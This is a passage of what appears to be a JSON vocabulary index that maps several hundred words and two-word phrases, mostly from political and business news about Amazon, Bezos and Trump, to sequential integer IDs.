\"humayun\": 179758,\n  \"luca\": 179759,\n  \"getting worried\": 179760,\n  \"madrid ccoomadrid\": 179761,\n  \"quite doable\": 179762,\n  \"ryan jr\": 179763,\n  \"unsubstantiated stories\": 179764,\n  \"natural health\": 179765,\n  \"composite rose\": 179766,\n  \"bassinets diaper\": 179767,\n  \"story stacey\": 179768,\n  \"trends driving\": 179769,\n  \"subsidy arms\": 179770,\n  \"placeholder date\": 179771,\n  \"faison kuester\": 179772,\n  \"republicans collective\": 179773,\n  \"remember comcast\": 179774,\n  \"making craft\": 179775,\n  \"hrs regular\": 179776,\n  \"officiating games\": 179777,\n  \"proposal contains\": 179778,\n  \"beautiful alternative\": 179779,\n  \"presidency absolute\": 179780,\n  \"biblical\": 179781,\n  \"1600 pennsylvania\": 179782,\n  \"open secret\": 179783,\n  \"gary fineout\": 179784,\n  \"google chrome\": 179785,\n  \"court overturns\": 179786,\n  \"wice\": 179787,\n  \"allowed ted\": 179788,\n  \"suit allen\": 179789,\n  \"sludge\": 179790,\n  \"akram\": 179791,\n  \"holland wants\": 179792,\n  \"jhendel\": 179793,\n  \"white lab\": 179794,\n  \"inventory growth\": 179795,\n  \"505 million\": 179796,\n  \"listings easley\": 179797,\n  \"underperforming companies\": 179798,\n  \"largest concentration\": 179799,\n  \"minute news\": 179800,\n  \"shipping versus\": 179801,\n  \"enforcement prevent\": 179802,\n  \"southern pedigree\": 179803,\n  \"shouldstartvideo true\": 179804,\n  \"digital pinboard\": 179805,\n  \"mcconnell reuters\": 179806,\n  \"details begin\": 179807,\n  \"fallen bit\": 179808,\n  \"aluminum sanctions\": 179809,\n  \"monitors\": 179810,\n  \"talks progress\": 179811,\n  \"busy carrying\": 179812,\n  \"republicans strengthened\": 179813,\n  \"craftsmen\": 179814,\n  \"hit trillion\": 179815,\n  \"sticks waffled\": 179816,\n  \"exact\": 179817,\n  \"isn getting\": 179818,\n  \"matching sanders\": 179819,\n  \"adjust comment\": 179820,\n  \"affords\": 179821,\n  \"amazon scouts\": 179822,\n  \"gianaris appointment\": 179823,\n  \"cw aaron\": 179824,\n  \"birthplace\": 179825,\n  \"oka\": 179826,\n  \"trolled donald\": 179827,\n  \"freakin bakesale\": 179828,\n  \"force amazon\": 179829,\n  \"2nd generation\": 179830,\n  \"throughthis appreciate\": 179831,\n  \"jet zuckerberg\": 179832,\n  \"liberal positions\": 179833,\n  \"possible conflicts\": 179834,\n  \"amazon 3614\": 179835,\n  \"average annual\": 179836,\n  \"longest partial\": 179837,\n  \"followed report\": 179838,\n  \"file file\": 179839,\n  \"new smartphones\": 179840,\n  \"service versus\": 179841,\n  \"discounts amazon\": 179842,\n  \"oncapitol hill\": 179843,\n  \"exclusive young\": 179844,\n  \"hr\": 179845,\n  \"greases\": 179846,\n  \"graf\": 179847,\n  \"prosecuters working\": 179848,\n  \"years congress\": 179849,\n  \"matt abergel\": 179850,\n  \"policy data\": 179851,\n  \"moderate republican\": 179852,\n  \"actress recently\": 179853,\n  \"administration credited\": 179854,\n  \"reasons marsden\": 179855,\n  \"transplant baltimore\": 179856,\n  \"weekend reports\": 179857,\n  \"celebrating lifetime\": 179858,\n  \"pretty skeptical\": 179859,\n  \"quadro rtx\": 179860,\n  \"story appears\": 179861,\n  \"included questions\": 179862,\n  \"american astronauts\": 179863,\n  \"records clinton\": 179864,\n  \"united nations\": 179865,\n  \"legendary romance\": 179866,\n  \"foreign intervention\": 179867,\n  \"jeff ownership\": 179868,\n  \"reaching 1837\": 179869,\n  \"dozens injured\": 179870,\n  \"embedlinkhandler\": 179871,\n  \"amazon app\": 179872,\n  \"states fairly\": 179873,\n  \"new broad\": 179874,\n  \"waging war\": 179875,\n  \"created free\": 179876,\n  \"platform operators\": 179877,\n  \"growing government\": 179878,\n  \"visits trumpidiotno1\": 179879,\n  \"cutthroat\": 179880,\n  \"surprising\": 179881,\n  \"major benefits\": 179882,\n  \"develop space\": 179883,\n  \"important trends\": 179884,\n  \"bezos admits\": 179885,\n  \"senator cory\": 179886,\n  \"future generations\": 179887,\n  \"columnist chris\": 179888,\n  \"energizer\": 179889,\n  \"document getelementbyid\": 179890,\n  \"foreseeable amazon\": 179891,\n  \"time possibly\": 179892,\n  \"court descriptionplaintext\": 179893,\n  \"insisting\": 179894,\n  \"company plans\": 179895,\n  \"light maybe\": 179896,\n  \"york rally\": 179897,\n  \"fbi director\": 179898,\n  \"trigger fingers\": 179899,\n  \"consumers postmaster\": 179900,\n  \"amazon physical\": 179901,\n  \"encoding utf\": 179902,\n  \"class values\": 179903,\n  \"biological traits\": 179904,\n  \"event shoots\": 179905,\n  \"sbe council\": 179906,\n  \"rebounded kaitlyn\": 179907,\n  \"group michael\": 179908,\n  \"food fashion\": 179909,\n  \"overly conservative\": 179910,\n  \"corp cbs\": 179911,\n  \"ebullient\": 179912,\n  \"campaign iran\": 179913,\n  \"103 points\": 179914,\n  \"000 person\": 179915,\n  \"foxconn wisconsin\": 179916,\n  \"working\": 179917,\n  \"annual prize\": 179918,\n  \"definitely complex\": 179919,\n  \"usefully\": 179920,\n  \"videosourcedivid js\": 179921,\n  \"holiday parades\": 179922,\n  \"brexit fight\": 179923,\n  \"details unanswered\": 179924,\n  \"van dijk\": 179925,\n  \"barcelona\": 179926,\n  \"diversification apple\": 179927,\n  \"house drama\": 179928,\n  \"survivalist\": 179929,\n  \"bald steve\": 179930,\n  \"include major\": 179931,\n  \"including johnson\": 179932,\n  \"various diseases\": 179933,\n  \"vampire\": 179934,\n  \"southeastern\": 179935,\n  \"instance performed\": 179936,\n  \"estimated 500\": 179937,\n  \"wing latest\": 179938,\n  \"post uncertainty\": 179939,\n  \"recent moment\": 179940,\n  \"vpc virtual\": 179941,\n  \"retailer wants\": 179942,\n  \"weather report\": 179943,\n  \"warner owns\": 179944,\n  \"ordered ninth\": 179945,\n  \"life hacks\": 179946,\n  \"recorder amazon\": 179947,\n  \"editors usa\": 179948,\n  \"abrogate\": 179949,\n  \"marker mark\": 179950,\n  \"mich\": 179951,\n  \"immediately knew\": 179952,\n  \"seeking retribution\": 179953,\n  \"ordered task\": 179954,\n  \"spokesperson did\": 179955,\n  \"service undercharging\": 179956,\n  \"pain\": 179957,\n  \"jiang\": 179958,\n  \"tostring k4a\": 179959,\n  \"small seller\": 179960,\n  \"purchase pity\": 179961,\n  \"making major\": 179962,\n  \"charge referring\": 179963,\n  \"heather swift\": 179964,\n  \"tackle today\": 179965,\n  \"team bench\": 179966,\n  \"bears enforcement\": 179967,\n  \"westchester\": 179968,\n  \"dietl netflix\": 179969,\n  \"gross margins\": 179970,\n  \"schorr\": 179971,\n  \"8pm\": 179972,\n  \"reviewing wheth\": 179973,\n  \"compromised cards\": 179974,\n  \"george mason\": 179975,\n  \"area jail\": 179976,\n  \"soon erupt\": 179977,\n  \"bestseller michael\": 179978,\n  \"ensure fair\": 179979,\n  \"post bio\": 179980,\n  \"unapproved\": 179981,\n  \"blasts nafta\": 179982,\n  \"city did\": 179983,\n  \"personally michael\": 179984,\n  \"emoluments lawsuits\": 179985,\n  \"places trump\": 179986,\n  \"organizations applying\": 179987,\n  \"verge trump\": 179988,\n  \"story budgets\": 179989,\n  \"case south\": 179990,\n  \"storage unit\": 179991,\n  \"lobbying dollars\": 179992,\n  \"costs roughly\": 179993,\n  \"office low\": 179994,\n  \"juncker walked\": 179995,\n  \"data critics\": 179996,\n  \"paternity refused\": 179997,\n  \"patterson\": 179998,\n  \"walling\": 179999,\n  \"branded delivery\": 180000,\n  \"good ability\": 180001,\n  \"flu deaths\": 180002,\n  \"eeoc\": 180003,\n  \"expect president\": 180004,\n  \"early warning\": 180005,\n  \"teeth democratic\": 180006,\n  \"bank group\": 180007,\n  \"181008114838\": 180008,\n  \"highlighted examples\": 180009,\n  \"singing turquoise\": 180010,\n  \"president claiming\": 180011,\n  \"lee krasinski\": 180012,\n  \"month caption\": 180013,\n  \"democrats despite\": 180014,\n  \"practices cohn\": 180015,\n  \"toying\": 180016,\n  \"accounting customers\": 180017,\n  \"irrelevant\": 180018,\n  \"harasser\": 180019,\n  \"computing services\": 180020,\n  \"print book\": 180021,\n  \"neurosurgeon\": 180022,\n  \"disenfranchised working\": 180023,\n  \"general patrick\": 180024,\n  \"trump latest\": 180025,\n  \"sens jon\": 180026,\n  \"canada otcmkts\": 180027,\n  \"style hair\": 180028,\n  \"amazon usually\": 180029,\n  \"national voice\": 180030,\n  \"democrat sends\": 180031,\n  \"economist dies\": 180032,\n  \"popular independent\": 180033,\n  \"probe mueller\": 180034,\n  \"000 apartments\": 180035,\n  \"workers coalition\": 180036,\n  \"filing homrich\": 180037,\n  \"sam gardner\": 180038,\n  \"purposes taking\": 180039,\n  \"finsum duncan\": 180040,\n  \"supermarket checkout\": 180041,\n  \"targets ranging\": 180042,\n  \"approached outgoing\": 180043,\n  \"additionalsections\": 180044,\n  \"divorcing following\": 180045,\n  \"social networkers\": 180046,\n  \"list ______\": 180047,\n  \"actress mia\": 180048,\n  \"means betting\": 180049,\n  \"victims killed\": 180050,\n  \"including bonuses\": 180051,\n  \"efficient manner\": 180052,\n  \"paradise charring\": 180053,\n  \"procurement internet\": 180054,\n  \"tweeted warning\": 180055,\n  \"seemingly randomly\": 180056,\n  \"lobbying jewish\": 180057,\n  \"advantage heart\": 180058,\n  \"davis ryan\": 180059,\n  \"powering government\": 180060,\n  \"tech trump\": 180061,\n  \"demoncrats\": 180062,\n  \"jdcom\": 180063,\n  \"philosophic inadequacies\": 180064,\n  \"welcome ceremony\": 180065,\n  \"years patent\": 180066,\n  \"ships mohan\": 180067,\n  \"probably performing\": 180068,\n  \"prime pieces\": 180069,\n  \"identity extremist\": 180070,\n  \"jeong writes\": 180071,\n  \"lower rates\": 180072,\n  \"bury matthew\": 180073,\n  \"2018 place\": 180074,\n  \"major threat\": 180075,\n  \"appreciably faster\": 180076,\n  \"occasions president\": 180077,\n  \"alternative formats\": 180078,\n  \"news helped\": 180079,\n  \"previously denied\": 180080,\n  \"amazon right\": 180081,\n  \"worth everybody\": 180082,\n  \"selected city\": 180083,\n  \"199 zach\": 180084,\n  \"clear leader\": 180085,\n  \"states building\": 180086,\n  \"screenshot\": 180087,\n  \"136 4bn\": 180088,\n  \"technology employers\": 180089,\n  \"told mnuchin\": 180090,\n  \"jr authortwitter\": 180091,\n  \"trump politically\": 180092,\n  \"tr1\": 180093,\n  \"ahead higher\": 180094,\n  \"including nintendo\": 180095,\n  \"excelled\": 180096,\n  \"herman cain\": 180097,\n  \"enquirer alleged\": 180098,\n  \"america disgraces\": 180099,\n  \"79million shares\": 180100,\n  \"engine performs\": 180101,\n  \"company hopes\": 180102,\n  \"alongside lynda\": 180103,\n  \"impartiality trump\": 180104,\n  \"considering listing\": 180105,\n  \"born new\": 180106,\n  \"41am\": 180107,\n  \"electric moving\": 180108,\n  \"latest feather\": 180109,\n  \"reined\": 180110,\n  \"standards worse\": 180111,\n  \"temporarily joining\": 180112,\n  \"markets monster\": 180113,\n  \"espionage photo\": 180114,\n  \"hears\": 180115,\n  \"old shimron\": 180116,\n  \"commensurately\": 180117,\n  \"fuse fight\": 180118,\n  \"residents union\": 180119,\n  \"rare revenue\": 180120,\n  \"icon amazon\": 180121,\n  \"500 according\": 180122,\n  \"expected second\": 180123,\n  \"massive crony\": 180124,\n  \"abortion laws\": 180125,\n  \"firm doubleclick\": 180126,\n  \"climbed immediately\": 180127,\n  \"slashing forecasts\": 180128,\n  \"cdp\": 180129,\n  \"specifications features\": 180130,\n  \"cvs reported\": 180131,\n  \"nevada milk\": 180132,\n  \"dramatic session\": 180133,\n  \"watch bloomberg\": 180134,\n  \"management analytics\": 180135,\n  \"date police\": 180136,\n  \"mattered\": 180137,\n  \"major milestones\": 180138,\n  \"m2x\": 180139,\n  \"histories huffpost\": 180140,\n  \"restrain trade\": 180141,\n  \"sweet story\": 180142,\n  \"plan projected\": 180143,\n  \"owns called\": 180144,\n  \"broad deregulationist\": 180145,\n  \"broumand\": 180146,\n  \"newspaper recently\": 180147,\n  \"emma mcintyre\": 180148,\n  \"says weinstein\": 180149,\n  \"industry apparently\": 180150,\n  \"unerring eternal\": 180151,\n  \"guru wants\": 180152,\n  \"articles dubbed\": 180153,\n  \"untold damage\": 180154,\n  \"sticker stuck\": 180155,\n  \"delivery launch\": 180156,\n  \"public tax\": 180157,\n  \"prevent harassment\": 180158,\n  \"cheered solid\": 180159,\n  \"private forestry\": 180160,\n  \"cac\": 180161,\n  \"1990 bush\": 180162,\n  \"gsi\": 180163,\n  \"start worrying\": 180164,\n  \"carolyn maloney\": 180165,\n  \"despite trade\": 180166,\n  \"managing partner\": 180167,\n  \"understanding geography\": 180168,\n  \"gov rod\": 180169,\n  \"reported today\": 180170,\n  \"daletas\": 180171,\n  \"national academy\": 180172,\n  \"common ground\": 180173,\n  \"fallen world\": 180174,\n  \"time chukumba\": 180175,\n  \"washington continued\": 180176,\n  \"ray tracing\": 180177,\n  \"housing saying\": 180178,\n  \"motivated amazon\": 180179,\n  \"conservative opinions\": 180180,\n  \"wonderstruck premieres\": 180181,\n  \"green getting\": 180182,\n  \"nextday service\": 180183,\n  \"customers kodali\": 180184,\n  \"media agenda\": 180185,\n  \"geographic based\": 180186,\n  \"amazon later\": 180187,\n  \"property appear\": 180188,\n  \"vanguard fidelity\": 180189,\n  \"company offers\": 180190,\n  \"blasio employment\": 180191,\n  \"constantinides told\": 180192,\n  \"really taking\": 180193,\n  \"independent contractors\": 180194,\n  \"bezos khosrowshahi\": 180195,\n  \"farrow backed\": 180196,\n  \"early access\": 180197,\n  \"citrin run\": 180198,\n  \"big paris\": 180199,\n  \"leprechauns shamrocks\": 180200,\n  \"mccarthykevin owen\": 180201,\n  \"mickler\": 180202,\n  \"taste innovative\": 180203,\n  \"actively enforce\": 180204,\n  \"ergo\": 180205,\n  \"later court\": 180206,\n  \"concept everybody\": 180207,\n  \"imaginary daughter\": 180208,\n  \"pike place\": 180209,\n  \"features\": 180210,\n  \"ebay wasn\": 180211,\n  \"amzn chipotle\": 180212,\n  \"bluster fest\": 180213,\n  \"ernst blofeld\": 180214,\n  \"final days\": 180215,\n  \"provide uniforms\": 180216,\n  \"orson\": 180217,\n  \"site 203\": 180218,\n  \"year 2012\": 180219,\n  \"g7a\": 180220,\n  \"mcsally\": 180221,\n  \"plateaued\": 180222,\n  \"discovers skull\": 180223,\n  \"intercompany contracts\": 180224,\n  \"maker kraft\": 180225,\n  \"rate setting\": 180226,\n  \"buy advertisements\": 180227,\n  \"pushing prison\": 180228,\n  \"grounded music\": 180229,\n  \"stylish cinematography\": 180230,\n  \"begin processing\": 180231,\n  \"report claimed\": 180232,\n  \"nbc exec\": 180233,\n  \"year shipped\": 180234,\n  \"customer preference\": 180235,\n  \"broad city\": 180236,\n  \"tasking\": 180237,\n  \"stone replied\": 180238,\n  \"bid\": 180239,\n  \"total begins\": 180240,\n  \"story notes\": 180241,\n  \"stafford owens\": 180242,\n  \"final estimate\": 180243,\n  \"trump congratulations\": 180244,\n  \"sky 2018\": 180245,\n  \"successful grassroots\": 180246,\n  \"members pomp\": 180247,\n  \"court did\": 180248,\n  \"identify best\": 180249,\n  \"m570\": 180250,\n  \"killer foundup\": 180251,\n  \"soccer players\": 180252,\n  \"competitive advantage\": 180253,\n  \"don believe\": 180254,\n  \"commercial adviser\": 180255,\n  \"ago swat\": 180256,\n  \"unexpected costs\": 180257,\n  \"recommended administrative\": 180258,\n  \"painful blow\": 180259,\n  \"mention transportation\": 180260,\n  \"china replacing\": 180261,\n  \"matt weiner\": 180262,\n  \"international rescue\": 180263,\n  \"deployed small\": 180264,\n  \"alternatively\": 180265,\n  \"sears tower\": 180266,\n  \"literally blow\": 180267,\n  \"korea claimed\": 180268,\n  \"field fence\": 180269,\n  \"bathrooms\": 180270,\n  \"overtime driven\": 180271,\n  \"international schumer\": 180272,\n  \"owner told\": 180273,\n  \"160\": 180274,\n  \"occasions suggested\": 180275,\n  \"additionally runs\": 180276,\n  \"dash sensors\": 180277,\n  \"king tide\": 180278,\n  \"krystalh yahoofinance\": 180279,\n  \"450 million\": 180280,\n  \"r4ee w6\": 180281,\n  \"stick 4k\": 180282,\n  \"contain complaints\": 180283,\n  \"players local\": 180284,\n  \"facebook 2018\": 180285,\n  \"grasps\": 180286,\n  \"tedhesson\": 180287,\n  \"day passed\": 180288,\n  \"gentle decline\": 180289,\n  \"322mm\": 180290,\n  \"opened access\": 180291,\n  \"company reportedly\": 180292,\n  \"anti american\": 180293,\n  \"facility col\": 180294,\n  \"blu\": 180295,\n  \"security cameras\": 180296,\n  \"fundamental performance\": 180297,\n  \"based planning\": 180298,\n  \"bezos appear\": 180299,\n  \"vstop klj\": 180300,\n  \"kb home\": 180301,\n  \"strong global\": 180302,\n  \"machines microvms\": 180303,\n  \"646\": 180304,\n  \"giant mckinsey\": 180305,\n  \"based firm\": 180306,\n  \"secret police\": 180307,\n  \"5yr\": 180308,\n  \"ladies man\": 180309,\n  \"spy thrillers\": 180310,\n  \"brazilian lawmaker\": 180311,\n  \"1b visa\": 180312,\n  \"sessions adjust\": 180313,\n  \"challenge best\": 180314,\n  \"package late\": 180315,\n  \"weapons trump\": 180316,\n  \"frank nappi\": 180317,\n  \"konner\": 180318,\n  \"torrid\": 180319,\n  \"independence leaning\": 180320,\n  \"amberin\": 180321,\n  \"cult animated\": 180322,\n  \"term ruggedized\": 180323,\n  \"seattle timescolumnist\": 180324,\n  \"electing military\": 180325,\n  \"wsj trump\": 180326,\n  \"shares plunged\": 180327,\n  \"memes questioning\": 180328,\n  \"europe facebook\": 180329,\n  \"credit expansion\": 180330,\n  \"nand\": 180331,\n  \"lincoln\": 180332,\n  \"government purchases\": 180333,\n  \"disqus\": 180334,\n  \"school friend\": 180335,\n  \"2017 annual\": 180336,\n  \"healthy child\": 180337,\n  \"motley paid\": 180338,\n  \"proposed snap\": 180339,\n  \"sawant called\": 180340,\n  \"kathie\": 180341,\n  \"black rock\": 180342,\n  \"deadly shootings\": 180343,\n  \"says clarifies\": 180344,\n  \"million amazon\": 180345,\n  \"hiring volunteers\": 180346,\n  \"stelter reports\": 180347,\n  \"sanchez gay\": 180348,\n  \"foot bezos\": 180349,\n  \"sells range\": 180350,\n  \"delivery centres\": 180351,\n  \"trump related\": 180352,\n  \"touch screen\": 180353,\n  \"times native\": 180354,\n  \"nursing baby\": 180355,\n  \"personal lawyer\": 180356,\n  \"business sellers\": 180357,\n  \"ceo bezos\": 180358,\n  \"purple state\": 180359,\n  \"kyweise\": 180360,\n  \"violated federal\": 180361,\n  \"carousel data\": 180362,\n  \"businesses contracted\": 180363,\n  \"transportation area\": 180364,\n  \"baltimore area\": 180365,\n  \"laggard\": 180366,\n  \"centerfold apparently\": 180367,\n  \"communist revolution\": 180368,\n  \"mika\": 180369,\n  \"digital markets\": 180370,\n  \"large proportion\": 180371,\n  \"fiduciary responsibilities\": 180372,\n  \"hulu itunes\": 180373,\n  \"modern day\": 180374,\n  \"push cashless\": 180375,\n  \"dumbfounded anger\": 180376,\n  \"message jeff\": 180377,\n  \"services ii\": 180378,\n  \"james took\": 180379,\n  \"data large\": 180380,\n  \"mchugh stated\": 180381,\n  \"toe curlingly\": 180382,\n  \"christened\": 180383,\n  \"boe plans\": 180384,\n  \"notable settlements\": 180385,\n  \"plurality means\": 180386,\n  \"troubles administration\": 180387,\n  \"powered microwave\": 180388,\n  \"nitrobouncer status\": 180389,\n  \"suggested\": 180390,\n  \"absolutely solid\": 180391,\n  \"planned visit\": 180392,\n  \"antitrust lawsuit\": 180393,\n  \"violence warning\": 180394,\n  \"warren stayed\": 180395,\n  \"accentuating\": 180396,\n  \"shows executives\": 180397,\n  \"california sacramento\": 180398,\n  \"gang\": 180399,\n  \"chamber met\": 180400,\n  \"international labour\": 180401,\n  \"fluffing names\": 180402,\n  \"schlage\": 180403,\n  \"title lamborghini\": 180404,\n  \"cnbc millionaire\": 180405,\n  \"troublesome\": 180406,\n  \"kaya grapes\": 180407,\n  \"select wcs\": 180408,\n  \"year rose\": 180409,\n  \"billionaire ownership\": 180410,\n  \"numbers tonight\": 180411,\n  \"university ranveer\": 180412,\n  \"model 150\": 180413,\n  \"new hope\": 180414,\n  \"steinhauer matt\": 180415,\n  \"giant dependence\": 180416,\n  \"disability retirement\": 180417,\n  \"file prices\": 180418,\n  \"streaming era\": 180419,\n  \"toiletries\": 180420,\n  \"expressing\": 180421,\n  \"cloud powered\": 180422,\n  \"twitter jon_allsop\": 180423,\n  \"months source\": 180424,\n  \"racism profiling\": 180425,\n  \"wasnot supposed\": 180426,\n  \"taxpayers small\": 180427,\n  \"obstructs\": 180428,\n  \"told experiences\": 180429,\n  \"war wage\": 180430,\n  \"fin incorporated\": 180431,\n  \"hewson\": 180432,\n  \"seat\": 180433,\n  \"sietsema\": 180434,\n  \"flavors eisen\": 180435,\n  \"kevin johnson\": 180436,\n  \"post play\": 180437,\n  \"cheek hashtag\": 180438,\n  \"tried\": 180439,\n  \"tall fraser\": 180440,\n  \"unique position\": 180441,\n  \"dark blue\": 180442,\n  \"competitors instagram\": 180443,\n  \"wordpress\": 180444,\n  \"goods companies\": 180445,\n  \"nov public\": 180446,\n  \"goldman sachs\": 180447,\n  \"null inc_autid\": 180448,\n  \"miguel estrada\": 180449,\n  \"targets leads\": 180450,\n  \"code lawmakers\": 180451,\n  \"favorable rankings\": 180452,\n  \"pouring billions\": 180453,\n  \"sanctions\": 180454,\n  \"000 open\": 180455,\n  \"malcolm turnbull\": 180456,\n  \"1814et copyright\": 180457,\n  \"shocks panel\": 180458,\n  \"communities vote\": 180459,\n  \"heavyweight\": 180460,\n  \"manages\": 180461,\n  \"bomb explosive\": 180462,\n  \"translators\": 180463,\n  \"wildfires fbi\": 180464,\n  \"quiet trump\": 180465,\n  \"based alcoa\": 180466,\n  \"soon developed\": 180467,\n  \"underpinning\": 180468,\n  \"talked bit\": 180469,\n  \"bolsonaro suggested\": 180470,\n  \"citibank\": 180471,\n  \"air grievances\": 180472,\n  \"gaiman acclaimed\": 180473,\n  \"trump shirts\": 180474,\n  \"congressional research\": 180475,\n  \"fistula\": 180476,\n  \"bg strategic\": 180477,\n  \"eu commission\": 180478,\n  \"foreign investment\": 180479,\n  \"genie\": 180480,\n  \"uncharacteristic\": 180481,\n  \"destiny lestenkof\": 180482,\n  \"wolff amazon\": 180483,\n  \"mean killing\": 180484,\n  \"chilean general\": 180485,\n  \"parscale wrote\": 180486,\n  \"tv platform\": 180487,\n  \"martin rebellion\": 180488,\n  \"behavior gives\": 180489,\n  \"global politicians\": 180490,\n  \"amazon don\": 180491,\n  \"company eero\": 180492,\n  \"grace vanderwaal\": 180493,\n  \"diary\": 180494,\n  \"inc_show_read_moreflag true\": 180495,\n  \"term care\": 180496,\n  \"strategic thinker\": 180497,\n  \"union organizer\": 180498,\n  \"fully crack\": 180499,\n  \"guilty pleasures\": 180500,\n  \"details including\": 180501,\n  \"additional moons\": 180502,\n  \"shortstop\": 180503,\n  \"lines wind\": 180504,\n  \"lisa mccubin\": 180505,\n  \"femmes fatales\": 180506,\n  \"thriller ballantine\": 180507,\n  \"briefcase\": 180508,\n  \"rm217 billion\": 180509,\n  \"biggest audience\": 180510,\n  \"emphatically denied\": 180511,\n  \"northwest coalition\": 180512,\n  \"schiff signified\": 180513,\n  \"local amazon\": 180514,\n  \"idled large\": 180515,\n  \"renault\": 180516,\n  \"clarify\": 180517,\n  \"good careers\": 180518,\n  \"local post\": 180519,\n  \"network logan\": 180520,\n  \"visiting cuba\": 180521,\n  \"partly inspired\": 180522,\n  \"tm investigations\": 180523,\n  \"trump invited\": 180524,\n  \"euro dollar\": 180525,\n  \"contributor\": 180526,\n  \"york harvey\": 180527,\n  \"kind series\": 180528,\n  \"immigrants played\": 180529,\n  \"offers package\": 180530,\n  \"hq\": 180531,\n  \"pair join\": 180532,\n  \"institute reform\": 180533,\n  \"false online\": 180534,\n  \"best friend\": 180535,\n  \"extortion bezos\": 180536,\n  \"8739\": 180537,\n  \"dodge state\": 180538,\n  \"essayist\": 180539,\n  \"ise\": 180540,\n  \"favorite morning\": 180541,\n  \"ran casino\": 180542,\n  \"decreases\": 180543,\n  \"bezos quite\": 180544,\n  \"postmaster\": 180545,\n  \"oracle block\": 180546,\n  \"big numbers\": 180547,\n  \"president treasonpuddles\": 180548,\n  \"witnesses page\": 180549,\n  \"judicial views\": 180550,\n  \"street today\": 180551,\n  \"publicly lists\": 180552,\n  \"bbc bodyguard\": 180553,\n  \"rougier\": 180554,\n  \"definitively thanks\": 180555,\n  \"checks totaling\": 180556,\n  \"2018 cable\": 180557,\n  \"house block\": 180558,\n  \"revoke brennan\": 180559,\n  \"patents jones\": 180560,\n  \"significant harm\": 180561,\n  \"wage bitter\": 180562,\n  \"2013 terms\": 180563,\n  \"bourdain singular\": 180564,\n  \"itunes singles\": 180565,\n  \"suggested raising\": 180566,\n  \"maloney states\": 180567,\n  \"nbc cmcsa\": 180568,\n  \"jbl\": 180569,\n  \"policy prohibiting\": 180570,\n  \"shorten delivery\": 180571,\n  \"group facetime\": 180572,\n  \"industries rightly\": 180573,\n  \"stocks book\": 180574,\n  \"handmade soba\": 180575,\n  \"government\": 180576,\n  \"christina\": 180577,\n  \"rotting corpse\": 180578,\n  \"request tim\": 180579,\n  \"falkowitz airbnb\": 180580,\n  \"post navigation\": 180581,\n  \"office policies\": 180582,\n  \"treated equitably\": 180583,\n  \"shutdown showdown\": 180584,\n  \"montana raised\": 180585,\n  \"seals cave\": 180586,\n  \"corbett\": 180587,\n  \"seller online\": 180588,\n  \"fellow travellers\": 180589,\n  \"exist rarely\": 180590,\n  \"awards advertisement\": 180591,\n  \"ford kavanaugh\": 180592,\n  \"gb10bdb0x0 jeff\": 180593,\n  \"competition enforcer\": 180594,\n  \"sent 325\": 180595,\n  \"families media\": 180596,\n  \"pines\": 180597,\n  \"protesters organized\": 180598,\n  \"spiegel billion\": 180599,\n  \"press ny\": 180600,\n  \"colloquially\": 180601,\n  \"requirement implemented\": 180602,\n  \"opened new\": 180603,\n  \"possible attempt\": 180604,\n  \"critical christmas\": 180605,\n  \"market finished\": 180606,\n  \"carped repeatedly\": 180607,\n  \"benefits employees\": 180608,\n  \"onewest foreclosure\": 180609,\n  \"waterproof computer\": 180610,\n  \"lifespan tr1200\": 180611,\n  \"migrate\": 180612,\n  \"joe\": 180613,\n  \"giant received\": 180614,\n  \"zino apple\": 180615,\n  \"sellout\": 180616,\n  \"postmates\": 180617,\n  \"devising replacements\": 180618,\n  \"fallon\": 180619,\n  \"deal tweeting\": 180620,\n  \"session new\": 180621,\n  \"omelchenko waiter\": 180622,\n  \"anti muslim\": 180623,\n  \"alzheimer disease\": 180624,\n  \"spell doom\": 180625,\n  \"anticipates adding\": 180626,\n  \"restaurant operators\": 180627,\n  \"vomit inducing\": 180628,\n  \"california ended\": 180629,\n  \"housing residents\": 180630,\n  \"onlypresident\": 180631,\n  \"shorter history\": 180632,\n  \"manila film\": 180633,\n  \"begin insinuations\": 180634,\n  \"states ravaged\": 180635,\n  \"darkside episode\": 180636,\n  \"yes herera\": 180637,\n  \"caused controversy\": 180638,\n  \"product helps\": 180639,\n  \"stunning results\": 180640,\n  \"visit fulfillment\": 180641,\n  \"executives business\": 180642,\n  \"balloons\": 180643,\n  \"disappointed\": 180644,\n  \"academic futures\": 180645,\n  \"climbed sharply\": 180646,\n  \"ramsay alan\": 180647,\n  \"industrial waterways\": 180648,\n  \"wire fall\": 180649,\n  \"located just\": 180650,\n  \"reasons policies\": 180651,\n  \"asahi\": 180652,\n  \"pelley rosenstein\": 180653,\n  \"flair\": 180654,\n  \"group bezos\": 180655,\n  \"sonorous\": 180656,\n  \"mile capabilities\": 180657,\n  \"gaining traction\": 180658,\n  \"colleagues tony\": 180659,\n  \"democratic political\": 180660,\n  \"repeated america\": 180661,\n  \"tax havens\": 180662,\n  \"content policy\": 180663,\n  \"travel aides\": 180664,\n  \"catastrophic events\": 180665,\n  \"results chris\": 180666,\n  \"press amgen\": 180667,\n  \"replay replay\": 180668,\n  \"group lyft\": 180669,\n  \"readiness new\": 180670,\n  \"leader lesther\": 180671,\n  \"melania escalating\": 180672,\n  \"brand credibility\": 180673,\n  \"domo extends\": 180674,\n  \"technology guidance\": 180675,\n  \"marketwatch predicted\": 180676,\n  \"reopens\": 180677,\n  \"digital wallet\": 180678,\n  \"shave\": 180679,\n  \"transition rubenstein\": 180680,\n  \"latest proposal\": 180681,\n  \"reply cancel\": 180682,\n  \"ebay sellers\": 180683,\n  \"grumman\": 180684,\n  \"npdholiday amazon\": 180685,\n  \"census unlike\": 180686,\n  \"tech backlash\": 180687,\n  \"helium filled\": 180688,\n  \"facing unprecedented\": 180689,\n  \"multimillionaires\": 180690,\n  \"massachusettes politician\": 180691,\n  \"personally filed\": 180692,\n  \"evidence aside\": 180693,\n  \"culture media\": 180694,\n  \"survey amazon\": 180695,\n  \"homelessness traffic\": 180696,\n  \"usps profitable\": 180697,\n  \"kevin dietsch\": 180698,\n  \"divorce mediaite\": 180699,\n  \"bluster\": 180700,\n  \"usps dual\": 180701,\n  \"world just\": 180702,\n  \"monrovia\": 180703,\n  \"actually meant\": 180704,\n  \"dodge billions\": 180705,\n  \"2020 challenge\": 180706,\n  \"consumers communicate\": 180707,\n  \"edwin chan\": 180708,\n  \"logistics giant\": 180709,\n  \"launched prime\": 180710,\n  \"blaze squeebles\": 180711,\n  \"teach strategies\": 180712,\n  \"media relations\": 180713,\n  \"1890\": 180714,\n  \"ana vanessa\": 180715,\n  \"jpg formatted_text\": 180716,\n  \"20874\": 180717,\n  \"gillian brockell\": 180718,\n  \"2018 till\": 180719,\n  \"amazon fortes\": 180720,\n  